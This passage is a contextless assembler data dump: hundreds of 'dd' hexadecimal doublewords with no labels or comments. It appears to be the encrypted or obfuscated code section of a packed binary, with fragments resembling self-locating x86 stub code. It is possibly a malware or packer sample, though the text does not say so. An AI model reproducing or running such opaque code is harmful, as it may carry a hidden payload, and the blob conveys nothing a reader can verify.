531623h, 663889DFh, 0D985DE81h, 8103E883h, 0BF5CE8D6h dd 0F49481Ah, 0FFFF9885h, 13E8FFh, 18150000h, 66D839C8h dd 6421D6ABh, 0DBAFDA73h, 9D8D4F3Fh, 9D1BBBC9h, 0E85B2D6Eh dd 10h, 20BA968Ah, 0A4525328h, 8DB0ADCDh, 57C240E8h, 61ABB660h dd 0C081FC58h, 6B98h, 21C78166h, 0FC933B6h, 18Dh, 34FFF800h dd 8E95E01h, 2000000h, 61C74A43h, 81ECEACCh, 447F08EEh dd 12E810h, 0B4740000h, 0E9C8E845h, 188692A4h, 4C256463h dd 0F8A8FDDCh, 8E0F51h, 5B000000h, 91F6815Bh, 0E87161C0h dd 9, 8795A41Ah, 8291402Dh, 0C6815BD7h, 629FD69Ah, 89D3BF0Fh dd 14E90834h, 0FC000000h, 7C4BD77Ah, 96DB717h, 36879838h dd 0E3DD14DAh, 0E930C8C9h, 8, 47A3DAAFh, 99066372h, 6601E983h dd 4949D88Bh, 1BC7BB49h, 0F981643Dh, 0FFFF953Ch, 0FF68850Fh dd 11E9FFFFh, 0E7000000h, 0B8A8BDB7h, 243FAE3h, 0BB6E1DD3h dd 62C4D450h, 929B8D8Dh, 6A05ECh, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 0ADB3A5C3h, 89C2BF0Fh dd 0E71AA98Dh, 0FE8B6605h, 2A4D85C7h, 5CA405E7h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 0DC2F1CC3h, 32175136h, 8166580Ch, 0F5D23F6h, 84h, 3985C700h dd 5E727h, 0FC000000h, 2411B5FFh, 6A05E7h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 839FFCC3h dd 356D2B29h, 820F5AF1h, 6, 2F4D8D89h, 95FF05E7h, 5E71795h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0A7C35545h dd 9D895385h, 5E71C9Dh, 0FF006A5Bh, 0E721C195h, 0EBC08B05h dd 5BB1BF2Eh, 0A7C4B7F8h, 6440BA36h, 63065D60h, 0EE13EBBAh dd 388ED747h, 92F1FD27h, 0DE0A50B1h, 0F3F449F6h, 0F659D238h dd 9B6F2262h, 0E9CA1D97h, 15Ch, 0F0C91F6Fh, 96D14BEBh dd 0AC358A4h, 53C856B1h, 0ACB56BDh, 53C05831h, 3AEB71CEh dd 53B92426h, 0C4992577h, 602D7953h, 52FEB688h, 538F140Dh dd 538F15D2h, 538F147Dh, 538F14BAh, 538F145Fh, 538F14AFh dd 538F14F8h, 538F14EBh, 538F14FDh, 538F14FAh, 27FC6D2Eh dd 738F79DBh, 30E0660Fh, 0EFC67CAh, 538F14D7h, 538F14EBh dd 538F14F5h, 538F14FAh, 538F147Dh, 538F14BEh, 538F145Fh dd 538F14AFh, 538F14D7h, 538F14EBh, 538F14F5h, 538F14FAh dd 538F147Dh, 538F14BEh, 538F145Fh, 538F14AFh, 538F14D7h dd 538F14EBh, 538F14F5h, 538F14FAh, 538F147Dh, 538F14BEh dd 538F145Fh, 538F14AFh, 538F14D7h, 538F14EBh, 538F14F5h dd 538F14FAh, 538F147Dh, 538F14BEh, 538F145Fh, 538F14AFh dd 538F14D7h, 538F14EBh, 538F14F5h, 538F14FAh, 538F147Dh dd 538F14BEh, 538F145Fh, 538F14AFh, 538F14D7h, 538F14EBh dd 538F14F5h, 538F14FAh, 538F147Dh, 538F14BEh, 538F145Fh dd 538F14AFh, 538F14D7h, 538F14EBh, 538F14F5h, 538F14FAh dd 538F147Dh, 538F14BEh, 538F145Fh, 538F14AFh, 538F14D7h dd 538F14EBh, 538F14F5h, 538F14FAh, 538F147Dh, 164B52B9h dd 1599E9h, 960D6800h, 22E905ECh, 68FFFBB5h, 5EC9735h dd 0FBB518E9h, 980F68FFh, 0EE905ECh, 68FFFBB5h, 5EC98EBh dd 0FBB504E9h, 9A6E68FFh, 0FAE905ECh, 68FFFBB4h, 5EC9B89h dd 0FBB4F0E9h, 9C7968FFh, 0E6E905ECh, 68FFFBB4h, 5EC9D53h dd 0FBB4DCE9h, 9F2B68FFh, 0D2E905ECh, 68FFFBB4h, 5ECA023h dd 0FBB4C8E9h, 0A0CB68FFh, 0BEE905ECh, 68FFFBB4h, 5ECA14Ah dd 0FBB4B4E9h, 0A28468FFh, 0AAE905ECh, 68FFFBB4h, 5ECA771h dd 0FBB4A0E9h, 0A85068FFh, 96E905ECh, 0F0FFFBB4h, 10C452FCh dd 2FE371DFh, 4BFF8D23h, 661AA804h, 2538C670h, 0C7716743h dd 0E4508539h, 0FDAFA256h, 17A9BB6Fh, 54886C89h, 583EEEC9h dd 2683593Bh, 0AF858234h, 0AB7D0BBDh, 1EFF3343h, 0DE5E2B82h dd 62EE012Bh, 0AF136665h, 0CC8E257Bh, 53DD5Bh, 0E5478AB4h dd 8E939592h, 0A0584476h, 0DC6E8088h, 0AB9B09C5h, 0BEA6E515h dd 0B035262Eh, 0F0E0BA1h, 96C0BFBCh, 0F3DDF45Ah, 52h, 9DE608FDh dd 8E223139h, 9F7B9291h, 0E7DF6F5Dh, 0AAC3142Ch, 0E3E06A80h dd 19FFCDE4h, 0D95BCC72h, 5ED4C226h, 4E40339Dh, 706DDF0Dh dd 92071E71h, 44669190h, 0CD7B6C58h, 59EBFAD0h, 0E452245Ch dd 196CC011h, 0CABA2820h, 0BEA6C134h, 0D33Fh, 0E4EC4900h dd 22FB2FF2h, 0E25E2B82h, 23C5DC2Fh, 131B7F31h, 0E2576EDEh dd 6F6CDE0Ch, 0F8F54799h, 0F07E3022h, 2B855610h, 7E21335Eh dd 2B7ED34Ah, 2B7E315Eh, 45F7E99Dh, 0E99A5448h, 82A35185h dd 0F4A75BCCh, 295A9466h, 35FD91C5h, 7EC055DBh, 1CCED34Ah dd 547E315Eh, 0B9B8B503h, 6F7D07A2h, 1E268ADDh, 3CF07EC8h dd 0EA699C2Eh, 0B8C4CB74h, 130E3B1Fh, 23330000h, 530795h dd 7E7226B4h, 418E42D0h, 0B3A95DEBh, 86687B09h, 7C0ABCAAh dd 992795C8h, 0B240ECE5h, 0CC5AECFEh, 8697CBAFh, 76583EECh dd 0FEECBE94h, 8CC13564h, 63051CA6h, 4735C375h, 849B2D3Fh dd 6A67F0E2h, 81B5C5C2h, 5E2A8E9Ch, 75AAD60h, 15498B79h dd 5E2A8E08h, 863249FCh, 399DE608h, 0CCAA1305h, 0B81CCF5Bh dd 0F80FBDB0h, 5AA08183h, 0B5D5844h, 0F0E6BCB9h, 341C4946h dd 0B9D1CAC6h, 120FA1B1h, 0D240FC13h, 0A6CD4CE2h, 1B2365BEh dd 0F8257BCDh, 0C584465h, 0D7C9029Ch, 0D3264872h, 0B9D2BCh dd 0BEAC0000h, 0A459DA8Ch, 31DDF48Ah, 2EC1FEECh, 94940226h dd 0C9C6786Ah, 0DF11B3CAh, 4C9A706Dh, 6BFBFDFAh, 0A05E2B76h dd 0B8743F4Eh, 2D169B33h, 46984CDAh, 0DFE7F7F4h, 6929408Ch dd 669AFE85h, 5BCC428Eh, 7B4DDB8Eh, 4ECF0373h, 0A7584442h dd 2EE104A8h, 5C4377DBh, 0A855DAF2h, 538991F5h, 2B6D5BE9h dd 1C9126F7h, 1323D65Eh, 0C4773E0h, 0DF819826h, 830C3F89h dd 0DC4CB5Dh, 11E69074h, 0B5B0000h, 687B2FBDh, 569A4EDCh dd 0B9B66AF8h, 9BD18513h dd 0AE90A331h, 0A43284D2h, 0C14FFDF0h, 0DA68C40Dh, 0F4823426h dd 5EBFF3D7h, 9E583EEBh, 3026E6BCh, 1244F886h, 265412A0h dd 0AF858234h, 0C97D0BBDh, 542A2789h, 0A4CB002h, 2B8247D6h dd 0E784C85Eh, 0EF935955h, 0FC0219CCh, 0F3FB9639h, 76CE4F83h dd 6A2E5E2Bh, 2B75E736h, 0F62155Eh, 0D41658BCh, 2B767DA0h dd 0B5CC7F5Eh, 0CCA3D5E7h, 6A36245Bh, 0C9BE3F9Eh, 0C578132Ah dd 0A6B9C1BFh, 0EB35031Ah, 0F2A3B9DFh, 0F3278BFCh, 695ECDA5h dd 0B9ADAA5Dh, 0B6EA4E35h, 64372F0Ah, 1B0236FAh, 0E96BCAD5h dd 0D52CF125h, 1DD06BCAh, 0B1377CAh, 0C10367D9h, 0CAD5908Dh dd 0AAC1746Bh, 4CFEF0A4h, 1D6DBE19h, 0FF38CB7h, 110Ch dd 9972135h, 28B60255h, 44D27C74h, 5FED4390h, 7D0BBDABh dd 0BEAC886Ah, 9BCA7E0Ch, 0EAE79B29h, 0EE00B442h, 0CDB1CE5Ch dd 3EEA8499h, 0C0967858h, 82EDE4ECh, 5AE4D00Fh, 0FCF94C80h dd 0B565B8ECh, 0E4975E2Ah, 24F92D91h, 0D85E2AB5h, 7A6C0E25h dd 17D7CBC8h, 0A7FA4699h, 0B3390F43h, 0D0D85BCBh, 302F2C9Eh dd 6764CA06h, 3B65168h, 1DAFC175h, 0C1C22C20h, 4045295Dh dd 0D61855DFh, 2E2B81CEh, 2544D92Fh, 5B85E20h, 3CA053EEh dd 2902234h, 68DA0C14h, 0BBDAF51h, 0B3D41A0Eh, 0B2331B4Fh dd 6B2F5BBBh, 43B2E637h, 10631658h, 5B3A4ACh, 16F20908h dd 0DC6ADC0Eh, 87843628h, 0C82C5B93h, 0CD8118DAh, 0FD14A57Ch dd 0E467ED21h, 0F8AB55E4h, 0BD6960C5h, 0B59932C4h, 1030h dd 0E573DD11h, 4923E31h, 20AE0050h, 3BC9676Ch, 59E75187h dd 52886446h, 0B7A65AE8h, 8EC37705h, 8ADC901Eh, 0A98DAA38h dd 3EEAA875h, 0A47A5C58h, 0F8863026h, 60CE020Ah, 7E952736h dd 589A30BEh, 1BDD0DF1h, 0FA3CA0F3h, 2B1E57C6h, 9459B85Eh dd 698D4712h, 0A07C9346h, 0CB965C6Ch, 222EB85Bh, 3D908F8Ch dd 0C6786A40h, 0E0528438h, 88FFEFE3h, 0CAC0F024h, 150355E4h dd 3DEBDD00h, 0DD788F74h, 0B3652D2Ah, 0CE607245h, 7806E40h dd 4B596FA3h, 6B95BCCh, 8F213309h, 812F232Bh, 0F96E8584h dd 7481EFC1h, 0E24F2F86h, 444340EEh, 0ED1B5B34h, 9ED816D6h dd 43EFB36Ah, 598D5158h, 5843EFC4h, 0DF328538h, 81477Bh dd 0CE8155E5h, 0D75A8C40h, 2AFD7AA3h, 73D78A5Eh, 2AFCDE3Fh dd 186B1E5Eh, 0CC030B1Bh, 4D646360h, 2B0DA27Fh, 63D14F5Eh dd 532F5E90h, 9AE03839h, 0B7BF2376h, 0F7FD14B8h, 95C81143h dd 0D82B2A27h, 1DDDCBDBh, 793AD629h, 5995556Ch, 9AD5416Dh dd 0C81BB989h, 4AC43064h, 15C85BCCh, 2B8EC487h, 2C60C4C3h dd 55DFD84Ah, 0CF4E8246h, 0EC5E1FDDh, 1FDD65B8h, 0C1E4975Eh dd 0F1B5BB0Eh, 0ABED51FBh, 1FDDA677h, 8CA3565Eh, 0DD0C1517h dd 1BD35E1Fh, 82D4086Ch, 7E5BBB6Ah, 0E32567CBh, 444B6EAFh dd 0C4DB8E58h, 0F07E3022h, 9B982A3Ch, 0F22597C5h, 0CAA3F78Bh dd 0AD8C7009h, 9400000Eh, 0B468F640h, 0D38715A3h, 0EFA3319Fh dd 0ABE4CE0h, 0C9DC6ADCh, 6BDD0BE7h, 883429DDh, 0A10B46FAh dd 0BB0D5F13h, 0F82C102Dh, 583EE825h, 261FF5D7h, 0AF88630h dd 0F3D97E1Ch, 0C1C1B62Ah, 9037AAECh, 7D1F3689h, 0CCDCD96Bh dd 221F8DC4h, 0ADAA044Ch, 0A2445BAEh, 1F01FEB0h, 0E6033A1h dd 0C75D2EBCh, 0D2B8C063h, 144h, 823426DCh, 0BBDAF85h dd 4443AB7Dh, 8DF4ACE0h, 5D105BCCh, 76C35E60h, 2C3A5844h dd 94C79D9Ah, 0CB492B28h, 7068615Dh, 0E57C1202h, 2D87BEA6h dd 91000000h, 399DE608h, 0CCAA1305h, 1745CF5Bh, 0E6EE52A5h dd 0B82D44EAh, 0FE50A0A8h, 5A0819E7h, 2E265844h, 0CD3AD0C0h dd 9E45BEA6h, 4F000000h, 85823426h, 2738B9AFh, 0CA626F99h dd 0B2A47A77h, 525A9C00h, 0C657AD1Fh, 495E2B82h, 1C541D87h dd 0DC8FB2ABh, 687A50C5h, 0FE6848D6h, 0FB5E2A8Dh, 0F7C957E9h dd 0F82C90F7h, 5BC13429h, 0BCC428DBh, 0DA8E1CAEh, 0D6073A8Ch dd 0DCCAA60Eh, 0D925F43h, 0BFAF0000h, 9CCF8311h, 0E2EEA230h dd 0C50ABE4Ch, 3725D967h, 2E4F785h, 0F8863026h, 15A31144h dd 2EBC1061h, 48D6687Ah, 0A13472Bh, 0FA583EE7h, 0E4EC4218h dd 882A41EFh, 0A65AE852h, 87392BB4h, 0D7467A8Ah, 255E2B81h dd 3ECC1F72h, 71342680h, 2B81E03Dh, 489A245Eh, 0A7FAF9F6h dd 6F815754h, 1467D506h, 5780D286h, 0E0B6B305h, 403F3C8Eh dd 8D9D9AEDh, 5A658D9Fh, 0CBE2BDB0h, 9ACDE30Bh, 4377DB2Eh dd 5BCC0175h, 3EEEE36Dh, 79B5DEBh, 31000007h, 22863026h dd 8271ACE0h, 9935E2Bh, 0FD1467C9h, 829B8688h, 0AA445E2Bh dd 3D4175D9h, 415BC70Fh, 0B4E82A8Eh, 583EF069h, 0F5D1E89Bh dd 0CB8ABB3h, 57F9100Fh, 7125B305h, 0C0D0CD7Fh, 333EBBB8h dd 4A9D9C99h, 95374E4Dh, 6DB0E447h, 8F583EF0h, 135689DCh dd 81CAA953h, 0CA204E8h, 4F9F0000h, 0ACBF7301h, 92DE9220h dd 0F5FAAE3Ch, 0C715C957h, 0F2D4E775h, 0E876C016h, 5932134h dd 1EAC0051h, 38C6786Ah, 1A03371Bh, 0EA583EE6h, 0E4EC3208h dd 21FC30EFh, 0E35E2B82h, 0E1E0DD30h, 883228CAh, 0CB1446FAh dd 19786E9Dh, 70EF588Dh, 0F7CDCA1Dh, 0ADEF53E5h, 2B2DA479h dd 8EA5585Eh, 91993719h, 1AD6ED5Fh, 5E87D9ACh, 0C3C2BF0Dh dd 0B2F4E270h, 2B2D9F7Eh, 93AA5D5Eh, 0BFFA3ED4h, 0E11557B8h dd 5E2B393Ch, 962036C0h, 0D422C43h, 4C000000h, 2B883DFAh dd 0C24F875Eh, 0E5FFFFFDh, 2B8227FAh, 43949C5Eh, 0D01EDEF5h dd 91153B7h, 835168D4h, 5BC71003h, 0D5487CBEh, 27583EEFh dd 0FC25D74h, 0FFB1A3ABh, 19ABBD71h, 0A610461Ch, 0A9532673h dd 0E7CB64CAh, 0BC8h, 4DDB6579h, 6CFA4699h, 8816B8B8h dd 0A3319FD4h, 0C14FF9EFh, 0FAF0CCAEh, 0DF0EC250h, 262BDF6Dh dd 1244F886h, 11F512A0h, 3EE540DDh, 0CE2C458h, 85823426h dd 0E0BBDAFh, 99963838h, 252292C3h, 413DAB5Dh, 0E27F6D0Bh dd 6A2649C4h, 71DF9BB2h, 6CFA4C9Eh, 0BFDC059Bh, 1A10B8h dd 0FA1A0000h, 5E2B883Dh, 0E610BAB0h, 464542F4h, 51878FF3h dd 0E20D0E7h, 0B6FFFFFDh, 6EE0E608h, 5A3D7B81h, 0C4F85CAFh dd 5BCBE1E0h, 72747124h, 584396AEh, 0B2AF194Fh, 3A3795DCh dd 0C6C23002h, 7767D5CDh, 0BEA7C4E1h, 19AECh, 37FAF600h dd 7D5E2B82h, 85372901h, 9F1143F7h, 8269A0A2h, 6C645E2Bh dd 0F9EFC5C2h, 3D25524Fh, 5CEEFCCFh, 0F10D605Fh, 0ECFED13Fh dd 8BDE4E83h, 0C1C42BFDh, 4AFCEEC4h, 64D608BCh, 194F5767h dd 0E03399D8h, 0EE141DD0h, 0AEC572E3h, 2A9311E0h, 0D7453D5Eh dd 1A4EDCCAh, 14BC90A3h, 1A83EFDh, 34B3B8C0h, 0BD000001h dd 0BDAB3426h, 0E5BBB80Bh, 0E1B341F3h, 0DE12760Dh, 5BCC8DC2h dd 90928F42h, 58447691h, 0CFCC7E6Ch, 5D5AE6F9h, 7604194Dh dd 45F85844h, 7D79E7B9h, 2E1E8C84h, 0BEA6E598h, 27A3h dd 0E608AD00h, 3C31399Dh, 7D949390h, 0AAAB6DA1h, 0B4675BCCh dd 5A6CB5B7h, 0CAC25844h, 0CCD66C5Ch, 0A7E1BEA6h, 0EB000000h dd 41EFE4ECh, 8C2E4544h, 7C84E85Ah, 0DCDBD86Ah, 6C7A50C5h dd 786E76DAh, 3242B7CEh, 8DE7A444h, 233A88A6h, 0E0DD6F81h dd 0D866D80Ah, 2AA2D6F8h, 7F31235Eh, 0D61503F1h, 5B8D3DC1h dd 0A24C0C23h, 0D8497DE1h, 2C5BC1FAh, 0DF0D1579h, 0F9D010B0h dd 0CD204788h, 0EB5D8B3Fh, 0A6BCA9B8h, 0FADE77CAh, 9F0h dd 25B31D51h, 44D27E71h, 60EE4090h, 7B09A7ACh, 992791C7h dd 92C8A486h, 0F7E69A28h dd 0CE03B745h, 0CA1CD05Eh, 0E9CDEA78h, 3EE368B5h, 0E4BA9C58h dd 0F8863026h, 12A01244h, 0FBFE3624h, 3DB9EBABh, 0FEEC7A26h dd 1013BFD6h, 9923F7BEh, 9E56A5B5h, 0CF21C3DAh, 0C476646Ch dd 2ABDAF6Eh, 479A4D5Eh, 0D062744Ah, 38C8042h, 17160000h dd 0CEB5391Ch, 0CF20286Ah, 0D99C6A81h, 9A5BC70Fh, 0C4042FACh dd 0FB12789Ch, 0B5689C60h, 47583EBCh, 0C97B6A94h, 747ACDCCh dd 0C72B5C92h, 0DFED0193h, 514E0155h, 1F8BD24Fh, 0F6645C5Eh dd 0AA73A7E9h, 5A5E1F8Bh, 3BD190A7h, 46B8CBD0h, 30Ah, 8227FA50h dd 78AA5E2Bh, 5B5E2B82h, 87B11F53h, 0ECEE54Bh, 0F43A7E0h dd 5BCCABBDh, 0D27C747Ch, 805ABA8h, 0CD57F209h, 592F2C98h dd 1063B61Ah, 0A3EDC4DDh, 11F58ECAh, 8F8h, 1DAB1549h, 3CCA7669h dd 58E64888h, 7301AFA4h, 911FA9BFh, 0AAC09C7Eh, 8FDE9220h dd 0F6FBAF3Dh, 0C214C856h, 0E1C5E270h, 3EE270ADh, 0DCB29458h dd 826DFEECh, 3E691BAh, 0A6184AECh, 4A39B5A9h, 25C0B2E6h dd 95835BC6h, 985B84F0h, 0D8FC0C8Ah, 9BC711A8h, 7C2FCAE1h dd 0B1D21CEEh, 6905194Dh, 46F955DAh, 398BDAE2h, 487ECBABh dd 43B15E2Bh, 0DB0ABE4Ch, 0F5FD0569h, 0F9CF445Bh, 0AFF155E7h dd 2B48A27Bh, 86D8625Eh, 55CAE134h, 9E2A3D45h, 6027C787h dd 60B0C8FCh, 1B45BCCh, 0A3E2A3CEh, 0F4D871CAh, 850h, 0C553FDF1h dd 0E472DE11h, 8E2030h, 1BA9074Ch, 39C77167h, 72684426h dd 57863AC8h, 0AEA357E5h, 0AABC70FEh, 896D8A18h, 3EE2C855h dd 845A3C58h, 97C6E608h, 823DE014h, 0CBF5E2Bh, 0CE0266B9h dd 5BC71150h, 959D01B4h, 1DDF440h, 0CA58E4F9h, 7875C716h dd 0B5196A84h, 0DA7CF181h, 4542F555h, 82E69D51h, 0CC93FA4Eh dd 0C111195Bh, 33BD586Fh, 0B3E913Fh, 0CAA3D716h, 0D1270BA4h dd 70000007h, 9044D27Ch, 0AF63F15Fh, 0CB7F0DA3h, 0E69A2884h dd 0A5B846F0h, 47F1E7C3h, 64D005B9h, 7D2F22D6h, 97293BEFh dd 0D408EC09h, 583EE149h, 0EC03D9BBh, 423FEDE4h, 588A2C43h dd 0C113E9E6h, 549C726Fh, 0A641FDFAh, 0A2B7859Ah, 6BDD0F39h dd 0A00E8C6Eh, 82F06EA4h, 0C6FABDAFh, 5E2B6757h, 119FF2A5h dd 0BFF4AA40h, 13CB5B8h, 26BF0000h, 0AF858234h, 923C34BDh dd 0B5439695h, 187C0BE3h, 0CC8DBCE4h, 91C5075Bh, 5844768Ch dd 0BA6BD70h, 0C8595B58h, 66584476h, 7A10006Eh, 85BEA6E5h dd 28h, 8CE6088Fh, 2B82C558h, 3184375Eh, 0AA7F99CDh, 0D0835BCCh dd 5A50D1D3h, 0E6DE5844h, 0CCF28878h, 0C0FDBEA6h, 7000000h dd 1E823426h, 0B917E30h, 1447478Ah, 0C93E55A8h, 5653E5F3h dd 0DFDC6E80h, 2395C7CFh, 6E102726h, 389F0D7Ch, 96A13074h dd 8161B486h, 287B026Dh, 1E7CBA9Ah, 7F715E2Bh, 0FBDB4BCh dd 60BD1312h, 9D5E2AE6h, 27DAFD4Fh, 7A7446D4h, 0B071A509h dd 545BC194h, 27353DA1h, 5530795h, 54AF6EA2h, 9A4D5842h dd 0EE1D1447h, 5AF3CAA5h, 69776h, 0CBAAA00h, 2B99CA7Eh dd 47E9E99Dh, 62CE05B9h, 80CA20D4h, 21FDDFF2h, 3FF381CBh dd 5C109E2Eh, 7529B715h, 2643D163h, 0E00F0E42h, 0BED583Eh dd 0C9302635h, 4EE0690Bh, 7705588Fh, 0BB1F91C3h, 0FB12A2B3h dd 0A91907F5h, 67F04263h, 26AF5B72h, 0AF858234h, 8F7D0BBDh dd 8204194Dh, 0E10B5E2Bh, 8042360Dh, 0E7FEB1D4h, 3137h dd 6B17CD00h, 1F8304EAh, 5E75DB17h, 10264E82h, 73265BC7h dd 1E7F9A6Dh, 1F53B7D0h, 55DA7D54h, 5341A558h, 51A47FCFh dd 42C0D762h, 6070h, 0E6080600h, 0EF05399Dh, 0B25BCC81h dd 0A07A5AAh, 0AA73A70Bh, 5A584482h, 42F590A7h, 252D3545h dd 788F8E8Bh, 0ED6CC8AAh, 87F5FF9Bh, 0EA1E5896h, 64129333h dd 67CB1ED1h, 78D41D25h, 933DE014h, 0CBF6412h, 92CD27F5h dd 848C61B3h, 2DC8DF4Dh, 10FEEC7Ah, 0B0043427h, 6F1F3680h dd 97h, 9DE60805h, 0F710539h, 0BA6D5BC7h, 94D64352h, 0AC4232A0h dd 0B7BEAC37h, 63h, 9DE608C1h, 0F700539h, 0EA745BC7h, 8DF548E6h dd 0BBCF937Eh, 1714A0B3h, 4EBD0818h, 15FCF38Eh, 0E4D442FEh dd 0BEAC954Eh, 3659h, 392B3300h, 0BB0EA0B0h, 0E4ECF8A4h dd 6D2D44F6h, 6A9E0281h, 5BC7100Ah, 0E0EF570Ah, 0E1538235h dd 6FDD0EE4h, 0EF5D4572h, 168478F3h, 0AC6B9026h, 199BBEh dd 0FAA50000h, 5E2B9A9Fh, 0B9B9C125h, 0A4A12F40h, 565552A5h dd 0FF0C8F3Fh, 825FFFFh, 0F7399DE6h, 829C81B5h, 4595E2Bh dd 99BCBBB8h, 4501CFE6h, 0C95BC716h, 0C7091916h, 3EEE8A93h dd 0B0C77A58h, 0A2AEFEF0h, 0BD100F0Ch, 7B4E2559h, 9F5255DAh dd 4740AEA2h, 99FAFE3h, 59E35BC7h, 0BDBCB903h, 0EDFE066Ah dd 0EFFFD15Fh, 46003498h, 0CA55DA82h, 0A6ABB317h, 94987806h dd 67C60D29h, 0A5BC105Fh, 0FB5FD103h, 700CB10Dh, 47BBCB61h dd 8994C8D1h, 7BC604E3h, 585E75C8h, 9C00B2A4h, 0F3F04294h dd 0E36EAFE3h, 0DB8EC604h, 8FC7188h, 5399DE6h, 0C3A613ABh dd 0A91008F6h, 602548E9h, 0FEFBAE49h, 43168436h, 749DE211h dd 96D6752h, 323A28B6h, 0D6788F3Dh, 5E34319Bh, 45EBE80Dh dd 0F9F64948h, 0A376E4CCh, 0BC70FEAEh, 0A1A17B5h, 308994C8h dd 0C87BC06Ah, 3A1300B1h, 3A370A78h, 8460492h, 0CEA4A1EAh dd 0F52D2A9Ch, 2EC4B523h, 0C113C755h, 1CF8076Fh, 9FAC1A86h dd 0DCF34597h, 9096283Ah, 0E81C9BCCh, 5E2B8235h, 5DC114C7h dd 8236E71Bh, 13C65E2Bh, 988587FCh, 735E2B82h, 3E4653C1h dd 0E3859C32h, 2B644F0h, 5E605DCFh, 5E2B82C2h, 5B2E9C44h dd 4828B616h, 5E2B9E19h, 5EC26C64h, 2B64F32Ah, 0B5E115Eh dd 0BFF62FC4h, 0FF8D38B8h, 2642FFFFh, 161E8234h, 0FADEB9C0h dd 9998078Dh, 334A4946h, 0D567792Dh, 0C7B6D6Dh, 468931B0h dd 100D4163h, 0F45E2AA5h, 379BEE41h, 748B3D2Fh, 222A4894h dd 0AE6A8133h, 3D2B3340h, 2B8F8E8Bh, 2AA526F7h, 0C23D65Eh dd 81B5786Ah, 5E2AA59Ch, 545AAD60h, 0C081DD73h, 31E8B8h dd 8F20000h, 31399DE6h, 99758C20h, 0C7100E65h, 4B88125Bh dd 0F02A92E5h, 2C43E9E8h, 0D2D09F7Bh, 0C7B7364h, 7DFF74A8h dd 4E0155DAh, 2F7648h, 0EC0C0000h, 6C54BFFEh, 0A2E21009h dd 0C6D8477Ch, 4202196Ch, 4377DBACh, 5BC6D730h, 0A198134h dd 0EF5D49EDh, 3397F0FEh, 0DA6574FFh, 0BFC57855h, 0F1E4ECF1h dd 30474643h, 0EDEA5C8Eh, 0F73C517h, 4F66D607h, 1E535B49h dd 5DF5B1AEh, 0AD0AB6C3h, 0CE1F499Ch, 47A7677Eh, 0F8A8DC40h dd 0C5BCBEEh, 0C75A5C59h, 365843EFh, 8494913Bh, 43EFCD50h dd 527C2F58h, 0E9B1AE00h, 0D4CDC937h, 1F616EDCh, 43EF32EBh dd 81FD258h, 0A76CB349h, 3CBEBEh, 0ECC80000h, 82A776AAh dd 0A2555E2Bh, 0BFD67878h, 3498EFFFh, 0CCAA1800h, 45939B5Bh dd 8E41DCF3h, 0B3F8191h, 58445A12h, 5A283FF2h, 58445AC7h dd 11016F67h, 0BEA6CD7Bh, 0EF86h, 34269000h, 5142CEC5h dd 2B76001Dh, 4151045Eh, 185925B8h, 0AA0E61B4h, 62E93468h dd 681B5E2Bh, 0D006DC51h, 0F6FA0266h, 0F6CC4158h, 7F5552E4h dd 6D4DDB6Dh, 5E2B66F9h, 0DC6ADC0Eh, 45F7E6EEh, 90324948h dd 0FBEFEC5Eh, 0FC3094F3h, 5BCC79F0h, 0C5B341F4h, 0C89C13D7h dd 0E2F9F36Fh, 57BBCC22h, 6DDD2715h, 23FB2256h, 56095844h dd 5B05C946h, 0B7017644h, 500355DAh, 44F6E4ECh, 55314847h dd 36F01F4Dh dd 0D24B7FA6h, 325E1CD9h, 0C2C16F7Fh, 4E0290E3h, 3DC8F118h dd 2FEAA223h, 8F8E8B3Dh, 0B5B6E93Ch, 5BC4CB17h, 1AADEC2h dd 47970000h, 0A4B76BF9h, 9AD68A18h, 0FDF2A634h, 0DF0DC14Fh dd 0EACCDF6Dh, 0E06ED80Eh, 0FD8B392Ch, 16A40849h, 30BE7062h dd 22FB2F13h, 0E2583EDBh, 30262A00h, 70342286h, 59619B3h dd 31E5EB02h, 41FF8D3Fh, 399DE608h, 0CCAA1305h, 1F1CCF5Bh dd 445A041Dh, 5AE6F958h, 4194D5Dh, 0F858445Ah, 7BCD1B45h dd 674467Eh, 3F922233h, 0F0E04E46h, 0BEA6CD5Ah, 0B965h dd 34266F00h, 81E03D71h, 71245E2Bh, 1D4B211Eh, 0BAACAEABh dd 0CF5E2B85h, 0E99D2B9Dh, 0D9E145F7h, 3B3A3799h, 33BBAF24h dd 30BCF054h, 345BCC91h, 3A2F1D81h, 8953D117h, 6D8DEF5h dd 73B9FE8h, 55DB2F8Fh, 343CA053h, 52069426h, 0D3E3F504h dd 0C4CCC308h, 1D298D90h, 69BC6F5Eh, 1910E316h, 0C55EC4CBh dd 0CBE1h, 0D8667600h, 0F745964Ah, 13BDB569h, 2E82D185h dd 4CFEECA0h, 0EDC9ABBEh, 0BBF4DFFh, 28DC6ADAh, 41F58329h dd 0F20F9D2Fh, 0DA43DA0Eh, 0DFC1583Eh, 0EDE4EC09h, 2C43423Fh dd 0ED2D5C8Ah, 4C2E8643h, 0EA3D8FE1h, 3550997h, 2D3523B1h dd 8F8E8B25h, 3426CC78h, 0BDAF8582h, 2F935A4Eh, 4C9A10D7h dd 0ABFEFDFAh, 0C416CA58h, 34F02D61h, 0C60D5E2Bh, 4194476Ah dd 5BEDFFB3h, 4BFDEFF7h, 0C3384F4Eh, 6A6ABB3h, 25F30A09h dd 4D8C2C9Dh, 0FEFB499Ah, 8B883228h, 0C1BD2BA9h, 22F56335h dd 3CF07E30h, 0C59B982Ah, 0A7194B8Eh, 0DD8F5754h, 0EC20626Fh dd 4A83CD31h, 670920D3h, 575FC375h, 9AA0B701h, 4542F4E6h dd 361h, 0FBCBF700h, 8B883626h, 1411A3B5h, 9C99333Eh, 282597C6h dd 0B5B20452h, 423F89DFh, 0CCC9676Ch, 5754FAF6h, 0E5E26E81h dd 0E389531Ah, 4BF57h, 0FB010000h, 4EB835Fh, 5C241C87h dd 61CC68h, 240C8900h, 1EDD68h, 241C8900h, 16B85056h, 2D0FE313h dd 69E0059Fh, 6E35D0F7h, 48049858h, 0D0D05A05h, 58C6891Bh dd 0B7198BB9h, 5EF1018Ch, 241C8B54h, 5004C483h, 8B8h, 89D80100h dd 24048B08h, 0FF04C483h, 815B2434h, 4C4h, 240C8B00h, 81E18951h dd 4C1h, 4C18100h, 87000000h, 0E95C240Ch, 0FFFB9F9Dh, 0F01C83A4h dd 